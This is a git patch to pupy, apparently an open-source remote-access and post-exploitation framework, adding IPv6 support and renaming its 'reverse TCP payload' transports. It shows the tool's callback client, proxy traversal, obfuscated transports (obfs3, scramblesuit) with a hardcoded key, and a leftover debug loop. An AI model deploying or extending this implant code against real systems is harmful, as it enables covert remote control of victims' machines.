From e27887540d4b7b2e58a53c1acd500b519d2c95a8 Mon Sep 17 00:00:00 2001 From: n1nj4sec <contact@n1nj4.eu> Date: Fri, 27 May 2016 18:17:03 +0200 Subject: [PATCH] ipv6 support --- pupy/network/clients.py | 15 ++++---- pupy/network/conf.py | 51 ++++++++++++++++++++-------- pupy/network/launchers/auto_proxy.py | 2 +- pupy/network/launchers/bind.py | 2 +- pupy/network/launchers/simple.py | 2 +- pupy/network/servers.py | 4 ++- pupy/network/streams.py | 10 ++++++ pupy/pupy.conf | 4 ++- pupy/pupylib/PupyCmd.py | 4 +-- pupy/pupylib/PupyServer.py | 13 +++++-- pupy/pupysh.py | 2 +- 11 files changed, 75 insertions(+), 34 deletions(-) diff --git a/pupy/network/clients.py b/pupy/network/clients.py index 7ab913c8..96c90bfd 100644 --- a/pupy/network/clients.py +++ b/pupy/network/clients.py @@ -10,19 +10,18 @@ class PupyClient(object): raise NotImplementedError("connect not implemented") class PupyTCPClient(PupyClient): - def __init__(self, family = socket.AF_INET, socktype = socket.SOCK_STREAM, proto = 0, timeout = 3, nodelay = False, keepalive = False): + def __init__(self, family = socket.AF_UNSPEC, socktype = socket.SOCK_STREAM, timeout = 3, nodelay = False, keepalive = False): super(PupyTCPClient, self).__init__() self.sock=None - self.family=socket.AF_INET - self.socktype=socket.SOCK_STREAM - self.proto=proto + self.family=family + self.socktype=socktype self.timeout=timeout self.nodelay=nodelay self.keepalive=keepalive def connect(self, host, port): - family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, self.family, self.socktype, self.proto)[0] + family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, self.family, self.socktype)[0] s = socket.socket(family, socktype, proto) s.settimeout(self.timeout) s.connect(sockaddr) @@ -32,7 +31,7 @@ class PupyTCPClient(PupyClient): s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) # Linux specific: after 10 idle minutes, start sending keepalives every 5 minutes. # Drop connection after 10 failed keepalives - if hasattr(socket, "TCP_KEEPIDLE") and hasattr(socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT") : + if hasattr(socket, "TCP_KEEPIDLE") and hasattr(socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT"): s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10 * 60) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 5 * 60) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 10) @@ -57,7 +56,7 @@ class PupyProxifiedTCPClient(PupyTCPClient): def connect(self, host, port): socks.set_default_proxy(proxy_type=socks.PROXY_TYPES[self.proxy_type], addr=self.proxy_addr, port=self.proxy_port, rdns=True, username=self.proxy_username, password=self.proxy_password) - family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, self.family, self.socktype, self.proto)[0] + family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, self.family, self.socktype)[0] s=socks.socksocket(family, socktype, proto) s.settimeout(self.timeout) s.connect(sockaddr) @@ -67,7 +66,7 @@ class PupyProxifiedTCPClient(PupyTCPClient): s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) # Linux specific: after 10 idle minutes, start sending keepalives every 5 minutes. # Drop connection after 10 failed keepalives - if hasattr(socket, "TCP_KEEPIDLE") and hasattr(socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT") : + if hasattr(socket, "TCP_KEEPIDLE") and hasattr(socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT"): s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10 * 60) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 5 * 60) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 10) diff --git a/pupy/network/conf.py b/pupy/network/conf.py index 4feeae80..6d08c889 100644 --- a/pupy/network/conf.py +++ b/pupy/network/conf.py @@ -6,14 +6,19 @@ import os import logging from .servers import PupyTCPServer from .clients import PupyTCPClient, PupySSLClient, PupyProxifiedTCPClient, PupyProxifiedSSLClient -from .transports import dummy, b64 -from .transports.obfs3 import obfs3 +from .transports import dummy, b64, http +try: + from .transports.obfs3 import obfs3 +except ImportError as e: + #to make pupy works even without scramblesuit dependencies + logging.warning("%s. The obfs3 transport has been disabled."%e) + obfs3=None try: from .transports.scramblesuit import scramblesuit except ImportError as e: #to make pupy works even without scramblesuit dependencies - logging.warning("%s. The transport has been disabled."%e) + logging.warning("%s. The scramblesuit transport has been disabled."%e) scramblesuit=None from .streams import PupySocketStream from .launchers.simple import SimpleLauncher @@ -38,8 +43,8 @@ scramblesuit_passwd="th!s_iS_pupy_sct_k3y" transports={} launchers={} -transports["tcp_ssl"]={ - "info" : "Simple reverse TCP payload with SSL", +transports["ssl"]={ + "info" : "TCP transport wrapped with SSL", "server" : PupyTCPServer, "client": PupySSLClient, "client_kwargs" : {}, @@ -50,8 +55,8 @@ transports["tcp_ssl"]={ "client_transport_kwargs": {}, "server_transport_kwargs": {}, } -transports["tcp_ssl_proxy"]={ - "info" : "Simple reverse TCP payload with SSL passing through a SOCKS4/SOCKS5/HTTP proxy", +transports["ssl_proxy"]={ + "info" : "TCP transport wrapped with SSL and passing through a SOCKS4/SOCKS5/HTTP proxy", "server" : PupyTCPServer, "client": PupyProxifiedSSLClient, "client_kwargs" : {'proxy_addr': None, 'proxy_port': None, 'proxy_type':'HTTP'}, @@ -63,7 +68,7 @@ transports["tcp_ssl_proxy"]={ "server_transport_kwargs": {}, } transports["tcp_cleartext"]={ - "info" : "Simple reverse TCP payload (cleartext)", + "info" : "Simple TCP transport transmitting in cleartext", "server" : PupyTCPServer, "client": PupyTCPClient, "client_kwargs" : {}, @@ -75,7 +80,7 @@ transports["tcp_cleartext"]={ "server_transport_kwargs": {}, } transports["tcp_cleartext_proxy"]={ - "info" : "Simple reverse TCP payload in cleartext passing through a SOCKS4/SOCKS5/HTTP proxy", + "info" : "TCP transport transmitting in cleartext and passing through a SOCKS4/SOCKS5/HTTP proxy", "server" : PupyTCPServer, "client": PupyProxifiedTCPClient, "client_kwargs" : {'proxy_addr':'127.0.0.1', 'proxy_port':8080, 'proxy_type':'HTTP'}, @@ -87,7 +92,7 @@ transports["tcp_cleartext_proxy"]={ "server_transport_kwargs": {}, } transports["tcp_base64"]={ - "info" : "Reverse TCP payload with base64 encoding", + "info" : "TCP transport with base64 encoding", "server" : PupyTCPServer, "client": PupyTCPClient, "client_kwargs" : {}, @@ -98,21 +103,37 @@ transports["tcp_base64"]={ "client_transport_kwargs": {}, "server_transport_kwargs": {}, } -transports["obfs3"]={ - "info" : "Reverse TCP Payload using obfs3 transport", +""" +transports["http_cleartext"]={ + "info" : "TCP transport using HTTP with base64 encoded payloads", "server" : PupyTCPServer, "client": PupyTCPClient, "client_kwargs" : {}, "authenticator" : None, "stream": PupySocketStream , - "client_transport" : obfs3.Obfs3Client, - "server_transport" : obfs3.Obfs3Server, + "client_transport" : http.PupyHTTPClient, + "server_transport" : http.PupyHTTPServer, "client_transport_kwargs": {}, "server_transport_kwargs": {}, } +""" + +if obfs3: + transports["obfs3"]={ + "info" : "TCP transport using obfsproxy's obfs3 transport", + "server" : PupyTCPServer, + "client": PupyTCPClient, + "client_kwargs" : {}, + "authenticator" : None, + "stream": PupySocketStream , + "client_transport" : obfs3.Obfs3Client, + "server_transport" : obfs3.Obfs3Server, + "client_transport_kwargs": {}, + "server_transport_kwargs": {}, + } if scramblesuit: transports["scramblesuit"]={ - "info" : "Reverse TCP Payload using scramblesuit transport", + "info" : "TCP transport using the obfsproxy's scramblesuit transport", "server" : PupyTCPServer, "client": PupyTCPClient, "client_kwargs" : {}, diff --git a/pupy/network/launchers/auto_proxy.py b/pupy/network/launchers/auto_proxy.py index a41a3851..644589cc 100644 --- a/pupy/network/launchers/auto_proxy.py +++ b/pupy/network/launchers/auto_proxy.py @@ -136,7 +136,7 @@ class AutoProxyLauncher(BaseLauncher): def init_argparse(self): self.arg_parser = LauncherArgumentParser(prog="auto_proxy", description=self.__doc__) self.arg_parser.add_argument('--host', metavar='<host:port>', required=True, help='host:port of the pupy server to connect to') - self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys() if not x.endswith("_proxy")], default="tcp_ssl", help="the transport to use ! (the server needs to be configured with the same transport) ") + self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys() if not x.endswith("_proxy")], default="ssl", help="the transport to use ! (the server needs to be configured with the same transport) ") self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex for proxy transports: proxy_addr=192.168.0.1 proxy_port=8080 proxy_type=HTTP") def parse_args(self, args): self.args=self.arg_parser.parse_args(args) diff --git a/pupy/network/launchers/bind.py b/pupy/network/launchers/bind.py index ef6340b3..c17fbda3 100644 --- a/pupy/network/launchers/bind.py +++ b/pupy/network/launchers/bind.py @@ -17,7 +17,7 @@ class BindLauncher(BaseLauncher): self.arg_parser = LauncherArgumentParser(prog="bind", description=self.__doc__) self.arg_parser.add_argument('--port', metavar='<port>', type=int, required=True, help='the port to bind on') self.arg_parser.add_argument('--host', metavar='<ip>', default='0.0.0.0', help='the ip to listen on (default 0.0.0.0)') - self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys()], default="tcp_ssl", help="the transport to use ! (the pupysh.sh --connect will need to be configured with the same transport) ") + self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys()], default="ssl", help="the transport to use ! (the pupysh.sh --connect will need to be configured with the same transport) ") self.arg_parser.add_argument('--password', default=config.get("pupyd", "bind_password").strip(), help="Add a password to connect to the bind payload. WARNING: it could not be safe, a safer alternative would be to use rpyc authenticators with SSL client certificates") self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments") diff --git a/pupy/network/launchers/simple.py b/pupy/network/launchers/simple.py index 6f8ca8da..8056cc0d 100644 --- a/pupy/network/launchers/simple.py +++ b/pupy/network/launchers/simple.py @@ -9,7 +9,7 @@ class SimpleLauncher(BaseLauncher): def init_argparse(self): self.arg_parser = LauncherArgumentParser(prog="connect", description=self.__doc__) self.arg_parser.add_argument('--host', metavar='<host:port>', required=True, help='host:port of the pupy server to connect to') - self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys()], default="tcp_ssl", help="the transport to use ! (the server needs to be configured with the same transport) ") + self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys()], default="ssl", help="the transport to use ! (the server needs to be configured with the same transport) ") self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex for proxy transports: proxy_addr=192.168.0.1 proxy_port=8080 proxy_type=HTTP") def parse_args(self, args): self.args=self.arg_parser.parse_args(args) diff --git a/pupy/network/servers.py b/pupy/network/servers.py index 73a8e3b0..e0903904 100644 --- a/pupy/network/servers.py +++ b/pupy/network/servers.py @@ -35,7 +35,9 @@ class PupyTCPServer(ThreadPoolServer): else: credentials = None # build a connection - h, p = sock.getpeername() + addrinfo = sock.getpeername() + h=addrinfo[0] + p=addrinfo[1] config = dict(self.protocol_config, credentials=credentials, connid="%s:%d"%(h, p)) return Connection(self.service, Channel(self.stream_class(sock, self.transport_class, self.transport_kwargs)), config=config) diff --git a/pupy/network/streams.py b/pupy/network/streams.py index c0e55795..01cda433 100644 --- a/pupy/network/streams.py +++ b/pupy/network/streams.py @@ -21,6 +21,12 @@ class addGetPeer(object): def getPeer(self): return self.peer +def monitor(up, down): + while True: + print "up: %s"%len(up) + print "down: %s"%len(down) + time.sleep(2) + class PupySocketStream(SocketStream): def __init__(self, sock, transport_class, transport_kwargs={}): super(PupySocketStream, self).__init__(sock) @@ -31,6 +37,10 @@ class PupySocketStream(SocketStream): self.upstream=Buffer(transport_func=addGetPeer(("127.0.0.1", 443))) self.downstream=Buffer(on_write=self._upstream_recv, transport_func=addGetPeer(sock.getpeername())) + t=threading.Thread(target=monitor, args=(self.upstream, self.downstream)) + t.daemon=True + t.start() + self.transport=transport_class(self, **transport_kwargs) self.on_connect() #self.async_read_thread=threading.Thread(target=self._downstream_recv_loop) diff --git a/pupy/pupy.conf b/pupy/pupy.conf index 112057ef..184522bd 100644 --- a/pupy/pupy.conf +++ b/pupy/pupy.conf @@ -1,6 +1,8 @@ [pupyd] -address = 0.0.0.0 +#listen on all interfaces by default +#address = 192.168.0.1 port = 443 +ipv6 = true keyfile = crypto/server.pem certfile = crypto/cert.pem diff --git a/pupy/pupylib/PupyCmd.py b/pupy/pupylib/PupyCmd.py index bc7452b4..611e9cba 100644 --- a/pupy/pupylib/PupyCmd.py +++ b/pupy/pupylib/PupyCmd.py @@ -176,8 +176,8 @@ class PupyCmd(cmd.Cmd): self.intro += color(BANNER_INFO, 'darkgrey') if sys.platform=="win32": self.intro+="\n"+self.format_warning("You are running Pupy server on Windows. Pupy server works best on linux. Pupy server on windows has not been really tested and there is probably a lot of bugs. I try my best to code in a portable way but it don't always find the time to fix everything. If you find the courage to patch non portable code, I will gladly accept push requests ! :)\n") - - self.intro += "\n"+self.format_srvinfo("Server started on %s:%s with transport %s%s"%(self.pupsrv.address, self.pupsrv.port, self.pupsrv.transport, (" and transport_args=%s"%repr(self.pupsrv.transport_kwargs) if self.pupsrv.transport_kwargs else ""))).rstrip("\n") + + self.intro += "\n"+self.format_srvinfo("Server started on%s port %s with transport %s%s"%((" "+self.pupsrv.address if self.pupsrv.address else ""), self.pupsrv.port, self.pupsrv.transport, (" and transport_args=%s"%repr(self.pupsrv.transport_kwargs) if self.pupsrv.transport_kwargs else ""))).rstrip("\n") self.raw_prompt= color('>> ','blue') self.prompt = color('>> ','blue', prompt=True) diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py index f01b6cd4..36a088bf 100644 --- a/pupy/pupylib/PupyServer.py +++ b/pupy/pupylib/PupyServer.py @@ -42,7 +42,7 @@ import os.path class PupyServer(threading.Thread): - def __init__(self, transport, transport_kwargs, port=None): + def __init__(self, transport, transport_kwargs, port=None, ipv6=None): super(PupyServer, self).__init__() self.daemon=True self.server=None @@ -58,7 +58,14 @@ class PupyServer(threading.Thread): self.port=self.config.getint("pupyd", "port") else: self.port=port - self.address=self.config.get("pupyd", "address") + if ipv6 is None: + self.ipv6=self.config.getboolean("pupyd", "ipv6") + else: + self.ipv6=ipv6 + try: + self.address=self.config.get("pupyd", "address") + except configparser.NoOptionError: + self.address='' self.handler=None self.handler_registered=threading.Event() self.transport=transport @@ -341,7 +348,7 @@ class PupyServer(threading.Thread): authenticator=t['authenticator']() else: authenticator=None - self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=authenticator, stream=t['stream'], transport=t['server_transport'], transport_kwargs=transport_kwargs) + self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=authenticator, stream=t['stream'], transport=t['server_transport'], transport_kwargs=transport_kwargs, ipv6=self.ipv6) self.server.start() diff --git a/pupy/pupysh.py b/pupy/pupysh.py index 1e6876a5..1ed59c2f 100755 --- a/pupy/pupysh.py +++ b/pupy/pupysh.py @@ -43,7 +43,7 @@ if __name__=="__main__": parser = argparse.ArgumentParser(prog='ptrconsole', description="Pupy console") parser.add_argument('--log-lvl', '--lvl', help="change log verbosity", dest="loglevel", choices=["DEBUG","INFO","WARNING","ERROR"], default="WARNING") parser.add_argument('--version', help="print version and exit", action='store_true') - parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys()], default='tcp_ssl', help="change the transport ! :-)") + parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys()], default='ssl', help="change the transport ! :-)") parser.add_argument('--transport-args', help="... --transport-args 'OPTION1=value OPTION2=val ...' ...") parser.add_argument('--port', '-p', help="change the listening port", type=int) args=parser.parse_args()